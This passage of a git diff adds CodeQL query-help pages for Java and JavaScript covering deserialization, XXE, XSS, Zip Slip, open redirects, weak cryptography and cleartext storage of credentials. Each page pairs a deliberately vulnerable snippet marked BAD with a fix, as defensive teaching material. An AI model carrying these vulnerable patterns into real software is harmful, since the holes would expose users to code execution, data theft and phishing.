Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TaintedPermissionsCheck.md b/docs/language/query-help/java/TaintedPermissionsCheck.md new file mode 100644 index 00000000000..4af49ac9856 --- /dev/null +++ b/docs/language/query-help/java/TaintedPermissionsCheck.md @@ -0,0 +1,44 @@ +# User-controlled data used in permissions check + +``` +ID: java/tainted-permissions-check +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-807 external/cwe/cwe-290 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-807/TaintedPermissionsCheck.ql) + +Using user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data. + + +## Recommendation +When checking whether a user is authorized for a particular activity, do not use data that is controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values. + +Similarly, do not decide which permission to check for based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for. + + +## Example +This example, using the Apache Shiro security framework, shows two ways to specify the permissions to check. The first way uses a string, `whatDoTheyWantToDo`, to specify the permissions to check. However, this string is built from user input. This can allow an attacker to force a check against a permission that they know they have, rather than the permission that should be checked. For example, while trying to access the account details of another user, the attacker could force the system to check whether they had permissions to access their *own* account details, which is incorrect, and would allow them to perform the action. The second, more secure way uses a fixed check that does not depend on data that is controlled by the user. + + +```java +public static void main(String[] args) { + String whatDoTheyWantToDo = args[0]; + Subject subject = SecurityUtils.getSubject(); + + // BAD: permissions decision made using tainted data + if(subject.isPermitted("domain:sublevel:" + whatDoTheyWantToDo)) + doIt(); + + // GOOD: use fixed checks + if(subject.isPermitted("domain:sublevel:whatTheMethodDoes")) + doIt(); +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [SEC02-J. Do not base security checks on untrusted sources](https://www.securecoding.cert.org/confluence/display/java/SEC02-J.+Do+not+base+security+checks+on+untrusted+sources). +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). +* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UnreleasedLock.md b/docs/language/query-help/java/UnreleasedLock.md new file mode 100644 index 00000000000..33e2306ba2f --- /dev/null +++ b/docs/language/query-help/java/UnreleasedLock.md @@ -0,0 +1,42 @@ +# Unreleased lock + +``` +ID: java/unreleased-lock +Kind: problem +Severity: error +Precision: medium +Tags: reliability security external/cwe/cwe-764 external/cwe/cwe-833 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Concurrency/UnreleasedLock.ql) + +When a thread acquires a lock it must make sure to unlock it again; failing to do so can lead to deadlocks. If a lock allows a thread to acquire it multiple times, for example `java.util.concurrent.locks.ReentrantLock`, then the number of locks must match the number of unlocks in order to fully release the lock. + + +## Recommendation +It is recommended practice always to immediately follow a call to `lock` with a `try` block and place the call to `unlock` inside the `finally` block. Beware of calls inside the `finally` block that could cause exceptions, as this may result in skipping the call to `unlock`. + + +## Example +The typical pattern for using locks safely looks like this: + + +```java +public void m() { + lock.lock(); + // A + try { + // ... method body + } finally { + // B + lock.unlock(); + } +} +``` +If any code that can cause a premature method exit (for example by throwing an exception) is inserted at either point `A` or `B` then the method might not unlock, so this should be avoided. + + +## References +* Java API Documentation: [java.util.concurrent.locks.Lock](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/Lock.html), [java.util.concurrent.locks.ReentrantLock](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/ReentrantLock.html). +* Common Weakness Enumeration: [CWE-764](https://cwe.mitre.org/data/definitions/764.html). +* Common Weakness Enumeration: [CWE-833](https://cwe.mitre.org/data/definitions/833.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UnsafeDeserialization.md b/docs/language/query-help/java/UnsafeDeserialization.md new file mode 100644 index 00000000000..a9eb0e06c46 --- /dev/null +++ b/docs/language/query-help/java/UnsafeDeserialization.md @@ -0,0 +1,59 @@ +# Deserialization of user-controlled data + +``` +ID: java/unsafe-deserialization +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-502 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-502/UnsafeDeserialization.ql) + +Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary serializable objects is easily exploitable and in many cases allows an attacker to execute arbitrary code. Even before a deserialized object is returned to the caller of a deserialization method a lot of code may have been executed, including static initializers, constructors, and finalizers. Automatic deserialization of fields means that an attacker may craft a nested combination of objects on which the executed initialization code may have unforeseen effects, such as the execution of arbitrary code. + +There are many different serialization frameworks. This query currently supports Kryo, XmlDecoder, XStream, SnakeYaml, and Java IO serialization through `ObjectInputStream`/`ObjectOutputStream`. + + +## Recommendation +Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON or XML. However, these formats should not be deserialized into complex objects because this provides further opportunities for attack. For example, XML-based deserialization attacks are possible through libraries such as XStream and XmlDecoder. Alternatively, a tightly controlled whitelist can limit the vulnerability of code, but be aware of the existence of so-called Bypass Gadgets, which can circumvent such protection measures. + + +## Example +The following example calls `readObject` directly on an `ObjectInputStream` that is constructed from untrusted data, and is therefore inherently unsafe. + + +```java +public MyObject { + public int field; + MyObject(int field) { + this.field = field; + } +} + +public MyObject deserialize(Socket sock) { + try(ObjectInputStream in = new ObjectInputStream(sock.getInputStream())) { + return (MyObject)in.readObject(); // unsafe + } +} + +``` +Rewriting the communication protocol to only rely on reading primitive types from the input stream removes the vulnerability. + + +```java +public MyObject deserialize(Socket sock) { + try(DataInputStream in = new DataInputStream(sock.getInputStream())) { + return new MyObject(in.readInt()); + } +} + +``` + +## References +* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). +* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). +* Talks by Chris Frohoff & Gabriel Lawrence: [ AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day](http://frohoff.github.io/appseccali-marshalling-pickles/), [OWASP SD: Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization](http://frohoff.github.io/owaspsd-deserialize-my-shorts/). +* Alvaro Muoz & Christian Schneider, RSAConference 2016: [Serial Killer: Silently Pwning Your Java Endpoints](https://www.rsaconference.com/writable/presentations/file_upload/asd-f03-serial-killer-silently-pwning-your-java-endpoints.pdf). +* SnakeYaml documentation on deserialization: [SnakeYaml deserialization](https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-loading-yaml). +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UrlRedirect.md b/docs/language/query-help/java/UrlRedirect.md new file mode 100644 index 00000000000..f623bc024ff --- /dev/null +++ b/docs/language/query-help/java/UrlRedirect.md @@ -0,0 +1,43 @@ +# URL redirection from remote source + +``` +ID: java/unvalidated-url-redirection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-601/UrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks. It also shows how to remedy the problem by validating the user input against a known fixed string. + + +```java +public class UrlRedirect extends HttpServlet { + private static final String VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; + + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + // BAD: a request parameter is incorporated without validation into a URL redirect + response.sendRedirect(request.getParameter("target")); + + // GOOD: the request parameter is validated against a known fixed string + if (VALID_REDIRECT.equals(request.getParameter("target"))) { + response.sendRedirect(VALID_REDIRECT); + } + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/java/XSS.md b/docs/language/query-help/java/XSS.md new file mode 100644 index 00000000000..da739ec02c5 --- /dev/null +++ b/docs/language/query-help/java/XSS.md @@ -0,0 +1,39 @@ +# Cross-site scripting + +``` +ID: java/xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-079/XSS.ql) + +Directly writing user input (for example, an HTTP request parameter) to a web page, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the reference. + + +## Example +The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. + + +```java +public class XSS extends HttpServlet { + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + // BAD: a request parameter is written directly to an error response page + response.sendError(HttpServletResponse.SC_NOT_FOUND, + "The page \"" + request.getParameter("page") + "\" was not found."); + } +} + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/java/XXE.md b/docs/language/query-help/java/XXE.md new file mode 100644 index 00000000000..d422d230daa --- /dev/null +++ b/docs/language/query-help/java/XXE.md @@ -0,0 +1,54 @@ +# Resolving XML external entity in user-controlled data + +``` +ID: java/xxe +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-611 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-611/XXE.ql) + +Parsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial of service, or server side request forgery. Even when the result of parsing is not returned to the user, out-of-band data retrieval techniques may allow attackers to steal sensitive data. Denial of services can also be carried out in this situation. + +There are many XML parsers for Java, and most of them are vulnerable to XXE because their default settings enable parsing of external entities. This query currently identifies vulnerable XML parsing from the following parsers: `javax.xml.parsers.DocumentBuilder`, `javax.xml.stream.XMLStreamReader`, `org.jdom.input.SAXBuilder`/`org.jdom2.input.SAXBuilder`, `javax.xml.parsers.SAXParser`,`org.dom4j.io.SAXReader`, `org.xml.sax.XMLReader`, `javax.xml.transform.sax.SAXSource`, `javax.xml.transform.TransformerFactory`, `javax.xml.transform.sax.SAXTransformerFactory`, `javax.xml.validation.SchemaFactory`, `javax.xml.bind.Unmarshaller` and `javax.xml.xpath.XPathExpression`. + + +## Recommendation +The best way to prevent XXE attacks is to disable the parsing of any Document Type Declarations (DTDs) in untrusted data. If this is not possible you should disable the parsing of external general entities and external parameter entities. This improves security but the code will still be at risk of denial of service and server side request forgery attacks. Protection against denial of service attacks may also be implemented by setting entity expansion limits, which is done by default in recent JDK and JRE implementations. + + +## Example +The following example calls `parse` on a `DocumentBuilder` that is not safely configured on untrusted data, and is therefore inherently unsafe. + + +```java +public void parse(Socket sock) throws Exception { + DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + DocumentBuilder builder = factory.newDocumentBuilder(); + builder.parse(sock.getInputStream()); //unsafe +} + +``` +In this example, the `DocumentBuilder` is created with DTD disabled, securing it against XXE attack. + + +```java +public void disableDTDParse(Socket sock) throws Exception { + DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + DocumentBuilder builder = factory.newDocumentBuilder(); + builder.parse(sock.getInputStream()); //safe +} + +``` + +## References +* OWASP vulnerability description: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing). +* OWASP guidance on parsing xml files: [XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java). +* Paper by Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://www.vsecurity.com//download/publications/XMLDTDEntityAttacks.pdf) +* Out-of-band data retrieval: Timur Yunusov & Alexey Osipov, Black hat EU 2013: [XML Out-Of-Band Data Retrieval](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf). +* Denial of service attack (Billion laughs): [Billion Laughs.](https://en.wikipedia.org/wiki/Billion_laughs) +* The Java Tutorials: [Processing Limit Definitions.](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html) +* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ZipSlip.md b/docs/language/query-help/java/ZipSlip.md new file mode 100644 index 00000000000..c60e4c91510 --- /dev/null +++ b/docs/language/query-help/java/ZipSlip.md @@ -0,0 +1,57 @@ +# Arbitrary file write during archive extraction ("Zip Slip") + +``` +ID: java/zipslip +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-022/ZipSlip.ql) + +Extracting files from a malicious zip archive (or another archive format) without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a zip archive entry is to verify that the normalized full path of the output file starts with a prefix that matches the destination directory. Path normalization can be done with either `java.io.File.getCanonicalFile()` or `java.nio.file.Path.normalize()`. Prefix checking can be done with `String.startsWith(..)`, but it is better to use `java.nio.file.Path.startsWith(..)`, as the latter works on complete path segments. + +Another alternative is to validate archive entries against a whitelist of expected files. + + +## Example +In this example, a file path taken from a zip archive item entry is combined with a destination directory. The result is used as the destination file path without verifying that the result is within the destination directory. If provided with a zip file containing an archive path like `..\sneaky-file`, then this file would be written outside the destination directory. + + +```java +void writeZipEntry(ZipEntry entry, File destinationDir) { + File file = new File(destinationDir, entry.getName()); + FileOutputStream fos = new FileOutputStream(file); // BAD + // ... write entry to fos ... +} + +``` +To fix this vulnerability, we need to verify that the normalized `file` still has `destinationDir` as its prefix, and throw an exception if this is not the case. + + +```java +void writeZipEntry(ZipEntry entry, File destinationDir) { + File file = new File(destinationDir, entry.getName()); + if (!file.toPath().normalize().startsWith(destinationDir.toPath())) + throw new Exception("Bad zip entry"); + FileOutputStream fos = new FileOutputStream(file); // OK + // ... write entry to fos ... +} + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript.rst b/docs/language/query-help/javascript.rst new file mode 100644 index 00000000000..48b5a9adf17 --- /dev/null +++ b/docs/language/query-help/javascript.rst @@ -0,0 +1,4 @@ +JavaScript query help +===================== + +.. include:: toc-javascript.rst \ No newline at end of file diff --git a/docs/language/query-help/javascript/AllowRunningInsecureContent.md b/docs/language/query-help/javascript/AllowRunningInsecureContent.md new file mode 100644 index 00000000000..478c8422d1e --- /dev/null +++ b/docs/language/query-help/javascript/AllowRunningInsecureContent.md @@ -0,0 +1,37 @@ +# Enabling Electron allowRunningInsecureContent + +``` +ID: js/enabling-electron-insecure-content +Kind: problem +Severity: error +Precision: very-high +Tags: security frameworks/electron + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Electron/AllowRunningInsecureContent.ql) + +Electron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy. + +Enabling the execution of insecure content is strongly discouraged. + + +## Recommendation +Do not enable the `allowRunningInsecureContent` property. + + +## Example +The following example shows `allowRunningInsecureContent` being enabled. + + +```javascript +const mainWindow = new BrowserWindow({ + webPreferences: { + allowRunningInsecureContent: true + } +}) +``` +This is problematic, since it allows the execution of code from an untrusted origin. + + +## References +* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true) \ No newline at end of file diff --git a/docs/language/query-help/javascript/BadRandomness.md b/docs/language/query-help/javascript/BadRandomness.md new file mode 100644 index 00000000000..ede4de2113f --- /dev/null +++ b/docs/language/query-help/javascript/BadRandomness.md @@ -0,0 +1,66 @@ +# Creating biased random numbers from a cryptographically secure source. + +``` +ID: js/biased-cryptographic-random +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-327/BadRandomness.ql) + +Generating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers. + +However, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system. + + +## Recommendation +Be very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers. + +If possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead. + + +## Example +The example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness. + + +```javascript +const crypto = require('crypto'); + +const digits = []; +for (let i = 0; i < 10; i++) { + digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK +} +``` +The random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9. + +The issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values. + + +```javascript +const cryptoRandomString = require('crypto-random-string'); + +const digits = cryptoRandomString({length: 10, type: 'numeric'}); +``` +Alternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9. + + +```javascript +const crypto = require('crypto'); + +const digits = []; +while (digits.length < 10) { + const byte = crypto.randomBytes(1)[0]; + if (byte >= 250) { + continue; + } + digits.push(byte % 10); // OK +} +``` + +## References +* Stack Overflow: [Understanding randomness](https://stackoverflow.com/questions/3956478/understanding-randomness). +* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness). +* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md b/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..7f0b1cf0bb6 --- /dev/null +++ b/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md @@ -0,0 +1,43 @@ +# Use of a broken or weak cryptographic algorithm + +``` +ID: js/weak-cryptographic-algorithm +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing. + + +## Example +The following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. + + +```javascript +const crypto = require('crypto'); + +var secretText = obj.getSecretText(); + +const desCipher = crypto.createCipher('des', key); +let desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption + +const aesCipher = crypto.createCipher('aes-128', key); +let aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption + +``` + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/BuildArtifactLeak.md b/docs/language/query-help/javascript/BuildArtifactLeak.md new file mode 100644 index 00000000000..2ca9dc9ae72 --- /dev/null +++ b/docs/language/query-help/javascript/BuildArtifactLeak.md @@ -0,0 +1,57 @@ +# Storage of sensitive information in build artifact + +``` +ID: js/build-artifact-leak +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/BuildArtifactLeak.ql) + +Sensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published. + + +## Recommendation +Only store information that is meant to be publicly available in a build artifact. + + +## Example +The following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact: + + +```javascript +const webpack = require("webpack"); + +module.exports = [{ + plugins: [ + new webpack.DefinePlugin({ + "process.env": JSON.stringify(process.env) + }) + ] +}]; +``` +The environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public. + +The issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact. + + +```javascript +const webpack = require("webpack"); + +module.exports = [{ + plugins: [ + new webpack.DefinePlugin({ + 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG }) + }) + ] +}]; + +``` + +## References +* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/). +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CleartextLogging.md b/docs/language/query-help/javascript/CleartextLogging.md new file mode 100644 index 00000000000..5d5097e8d76 --- /dev/null +++ b/docs/language/query-help/javascript/CleartextLogging.md @@ -0,0 +1,66 @@ +# Clear-text logging of sensitive information + +``` +ID: js/clear-text-logging +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/CleartextLogging.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. + + +## Example +The following example code stores user credentials (in this case, their password) in a cookie in plain text: + + +```javascript +var express = require('express'); + +var app = express(); +app.get('/remember-password', function (req, res) { + let pw = req.param("current_password"); + // BAD: Setting a cookie value with cleartext sensitive data. + res.cookie("password", pw); +}); + +``` +Instead, the credentials should be encrypted, for instance by using the Node.js `crypto` module: + + +```javascript +var express = require('express'); +var crypto = require('crypto'), + password = getPassword(); + +function encrypt(text){ + var cipher = crypto.createCipher('aes-256-ctr', password); + return cipher.update(text, 'utf8', 'hex') + cipher.final('hex'); +} + +var app = express(); +app.get('/remember-password', function (req, res) { + let pw = req.param("current_password"); + // GOOD: Encoding the value before setting it. + res.cookie("password", encrypt(pw)); +}); + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CleartextStorage.md b/docs/language/query-help/javascript/CleartextStorage.md new file mode 100644 index 00000000000..8601e4a98b1 --- /dev/null +++ b/docs/language/query-help/javascript/CleartextStorage.md @@ -0,0 +1,66 @@ +# Clear text storage of sensitive information + +``` +ID: js/clear-text-storage-of-sensitive-data +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/CleartextStorage.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. + + +## Example +The following example code stores user credentials (in this case, their password) in a cookie in plain text: + + +```javascript +var express = require('express'); + +var app = express(); +app.get('/remember-password', function (req, res) { + let pw = req.param("current_password"); + // BAD: Setting a cookie value with cleartext sensitive data. + res.cookie("password", pw); +}); + +``` +Instead, the credentials should be encrypted, for instance by using the Node.js `crypto` module: + + +```javascript +var express = require('express'); +var crypto = require('crypto'), + password = getPassword(); + +function encrypt(text){ + var cipher = crypto.createCipher('aes-256-ctr', password); + return cipher.update(text, 'utf8', 'hex') + cipher.final('hex'); +} + +var app = express(); +app.get('/remember-password', function (req, res) { + let pw = req.param("current_password"); + // GOOD: Encoding the value before setting it. + res.cookie("password", encrypt(pw)); +}); + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ClientSideUrlRedirect.md b/docs/language/query-help/javascript/ClientSideUrlRedirect.md new file mode 100644 index 00000000000..fc5630abd8c --- /dev/null +++ b/docs/language/query-help/javascript/ClientSideUrlRedirect.md @@ -0,0 +1,33 @@ +# Client-side URL redirect + +``` +ID: js/client-side-unvalidated-url-redirection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-601/ClientSideUrlRedirect.ql) + +Redirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may 